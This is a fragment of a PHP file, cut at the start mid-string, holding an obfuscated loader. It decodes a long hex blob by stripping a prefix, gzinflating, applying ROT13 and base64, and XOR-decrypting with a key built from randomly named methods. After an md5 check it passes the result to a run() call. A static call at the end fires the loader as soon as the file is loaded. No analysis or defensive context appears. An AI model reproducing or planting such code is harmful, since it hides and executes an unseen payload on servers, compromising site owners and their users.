0be879cd8a1f377db30e5fd8a0b208e15739f2aac349b498d0fdb6aeabd3633ad08774665774bf5d0c5adac5fdcef2cc039ef7b8be9be66d123486b5ce60f1ab67d6cca193dc6fae6643f728eb3b3a1807d92fe1e13e70135acf7cdc5b68ddede2f0b37e3bbdf7fde6703fb9fa196f6ebdeea642ebbbe95634b5adb8a7ef6737263fdce35c1d9bcae8477792fedc1fb24e67b3a5fdd24f94ed76f8a05c072daf62d8c6407eeff9fe5392eec3f62178a8ce824527180ee27f6cbb3aca5ada7db9ffee070b333beef07ec57e69d16fb9cd478b4e15ef67ee3b33c36c47835efd387c98263dfbe9faf6bbf1f0fe3854c2ce36191fddd1108abd75757e1f78d97adb57835ee7a6bbddfe760fd35d581f5a3d5bcd936d18b48ff4fdecc7fdd7f45a86b13f5406fb909eb7a90dbdf6cf1f83eacf9f57f190c2d9c150e7abc7fd9c574eebfbb0b9f9b950669d81fb4fd230cd46e3e9fbd9f6e37ae0f78e974ae61fc287f1d133eeadf0e8ae86b5eeee7639f466b79bd6c2ecac36b3765fb17addc9f6e75e49eace643e58552fe80cdaf74e7235586d8d70b97b160fc2b3ef47efd7995efdaccf6fd771d5f607c655922bb3a0598f8dee66d2b067bf83e6f622d8b55b140fd45e6fbb1e2e95bcdd3742a3b9188f1b89f3743d9efddefd661e9af1afe6aa7e1bda5ab771f67e6ee05f751faaeb41b37ff1b395afb3aba9f1a3594dfded62e1daaa3bf2a60fc387d9924ef8e3f3cef6cbb86f2e4feb517c3faf9fec1fbf5fb5596fb967bf77918ff6fd5d60de0e7f6c6f951ffdf847fdd8b91b2e6eabbdc6b6b23e3c79dec0e8ea57e660f6b3edec36757577fa7ed6e2301d35772eed67d5584ef2a09e5caeb716ddedbef6f87eed5fc6555e6f3617fbee32bc6de546e3de5ecc93bef7647d693f8f02cf3bb8c1b09ea83b9df6f3d6a4dffdb3339c0d0fa6d36928b59fbb45d5580d8fa3a66ab6a2e497779544a635711b2df78ffdc2ef170fa3fb60d75f6f6f7f4f9cc3b1bb55e9fd94fc67a76ef7bddbea64d1bf985c0d7ff5065edba86c7641777768785badddb5ae9cc16c326ed49470697528f77b308fcff6cb32ee6f0e8feb1b5cd5673fb6d3bb46ef697c96f5d81e07c799e51e37cb6167eb4d1e16f18feea1e5a97968468ffbc5b3ff8c7f8dc6e4f7b0a978b49f2f7ab675dbc8adeeb8590bb15fe84c5cb5ad856b0c92e0be97ecd2d6b3fd4cf7475ba538d039d41bc74ecda0fc8b72c0c7f3fbe07b6e8ef75bfc93f43b56433934c266bbd7e91ca6f09ba57cea22d99b3f33d5ffbd3ecee8f7bad5fbfd6dafbbfdfffebfff1f';
$h = substr($h, 5);
$b = hex2bin($h);
$minfo = json_decode(base64_decode('WyJyb3QiLCJiNjQiXQ=='), true);
$o = new self();
$k = $o->dZFjMc() . $o->xhosgFWn() . $o->iBVnocE();
$gt = $o->bDLhMBTH() . $o->zPAgXxS() . $o->uKMlfEgomiXV();
if (md5($gt) !== 'd9a5db165fffa306f6b4f04e2d0b4484') {
return false;
}
$decompressed = @gzinflate($b);
if ($decompressed === false) {
$decompressed = $b;
}
$current = $decompressed;
if (!empty($minfo) && is_array($minfo)) {
foreach ($minfo as $m) {
switch ($m) {
case 'b64': $current = base64_decode($current); break;
case 'rev': $current = strrev($current); break;
case 'rot': $current = str_rot13($current); break;
}
}
}
$cipher_text = $current;
$pc = '';
$klen = strlen($k);
if ($klen > 0) {
for ($i=0; $i<strlen($cipher_text); $i++) {
$pc .= chr(ord($cipher_text[$i]) ^ ord($k[$i % $klen]));
}
} else {
$pc = $cipher_text;
}
if (!empty($pc) && is_string($pc)) {
$o->run($pc);
}
}
}
CPCOaCH63334::r413();
// EOF
?>